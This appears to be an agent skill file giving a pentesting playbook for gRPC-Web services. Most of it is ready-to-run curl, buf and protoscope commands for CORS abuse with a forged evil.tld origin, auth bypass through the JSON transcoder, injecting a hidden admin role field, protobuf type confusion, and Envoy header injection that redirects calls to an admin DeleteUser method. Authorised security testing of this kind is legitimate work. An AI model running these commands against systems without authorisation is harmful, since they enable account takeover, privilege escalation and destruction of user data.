grpc-web-pentest · git:20260518.7b5f854 · 2026-05-18 · sha256 ce50cb61d0c557aa

grpc-web-pentest git:20260518.7b5f854A

Immutable. This exact content is served forever at /api/v1/blob/ce50cb61d0c557aa.

---
name: grpc-web-pentest
description: Pentest gRPC-Web services via CORS abuse, JSON transcoder bypass, and payload manipulation. Use when target serves application/grpc-web content type, has Envoy/APISIX proxy, or JS bundles contain protobuf service definitions.
---

# gRPC-Web Pentesting

gRPC-Web wraps protobuf in HTTP/1.1 for browser clients. The translation layer (Envoy, APISIX, grpcwebproxy) introduces attack surface absent in native gRPC.

## Detection

- Content-Type: `application/grpc-web` or `application/grpc-web-text`
- `x-grpc-web: 1` header in requests
- JS bundles importing `grpc-web` or containing `.proto` service paths
- Envoy proxy headers (`x-envoy-upstream-service-time`)

## Recon: Extract Services from JS

JS bundles embed service paths and message schemas:
```bash
# grep for service method paths (pkg.Service/Method format)
grep -oP '[a-zA-Z0-9_.]+/[A-Z][a-zA-Z]+' main.*.js | sort -u

# Find proto message field definitions
grep -oP 'proto\.[a-zA-Z]+\.[a-zA-Z]+' main.*.js | sort -u
```

Also check for `buf` reflection:
```bash
buf curl --protocol grpcweb https://target.tld --list-methods
```

## CORS on gRPC-Web

gRPC-Web requires CORS for browser calls. Test the proxy's CORS config:
```bash
curl -I -X OPTIONS https://target.tld/pkg.Service/Method \
  -H 'Origin: https://evil.tld' \
  -H 'Access-Control-Request-Method: POST' \
  -H 'Access-Control-Request-Headers: content-type,x-grpc-web,authorization'
```

Vulnerable if: `Access-Control-Allow-Origin: https://evil.tld` + `Access-Control-Allow-Credentials: true`. This enables cross-origin authenticated gRPC calls from attacker page.

## JSON Transcoder Bypass

Many gRPC-Web proxies also accept `application/json` via gRPC-JSON transcoding. This transcoder path often has **different auth enforcement**:
```bash
# Try JSON instead of protobuf — may bypass gRPC interceptors/auth middleware
curl -X POST https://target.tld/pkg.Service/Method \
  -H 'Content-Type: application/json' \
  -d '{"field":"value"}'
```

If the JSON transcoder responds when protobuf requires auth → auth bypass.

## Making Requests

**With buf (easiest):**
```bash
buf curl --protocol grpcweb \
  -H 'Authorization: Bearer TOKEN' \
  -d '{"user_id":"1337"}' \
  https://target.tld/pkg.Service/GetUser
```

**Raw binary (without buf):**

gRPC-Web frame format: 1 byte flags + 4 bytes length (big-endian) + protobuf payload.

```bash
# Use protoscope to craft protobuf, then frame it
echo '1: {"admin"}' | protoscope -s | python3 -c "
import sys; p=sys.stdin.buffer.read(); sys.stdout.buffer.write(b'\x00'+len(p).to_bytes(4,'big')+p)
" > body.bin

curl -X POST https://target.tld/pkg.Service/Method \
  -H 'Content-Type: application/grpc-web' \
  -H 'x-grpc-web: 1' \
  --data-binary @body.bin
```

## Payload Manipulation

**Field injection** — add fields the client never sends:
```bash
# Client sends field 1 (name). Add field 99 (role) that backend reads but client omits.
echo '1: {"user"} 99: {"admin"}' | protoscope -s
```

**Type confusion** — swap field wire types:
```bash
# Field 2 is normally varint (int). Send as length-delimited (string).
echo '2: {"not_a_number"}' | protoscope -s
```

**Proxy header injection (Envoy):**
```bash
curl -X POST https://target.tld/pkg.Service/Method \
  -H 'x-envoy-original-path: /admin.AdminService/DeleteUser' \
  -H 'Content-Type: application/grpc-web' \
  --data-binary @body.bin
```

## Chain With
- parser-differential-bypass (JSON transcoder vs protobuf validation differences)
- auth-matrix-testing (test each gRPC method across roles)
- type-confusion-testing (protobuf type coercion)
- protoscope for wire-level payload crafting

## Reference
- https://grpc.io/docs/platforms/web/ (gRPC-Web protocol spec)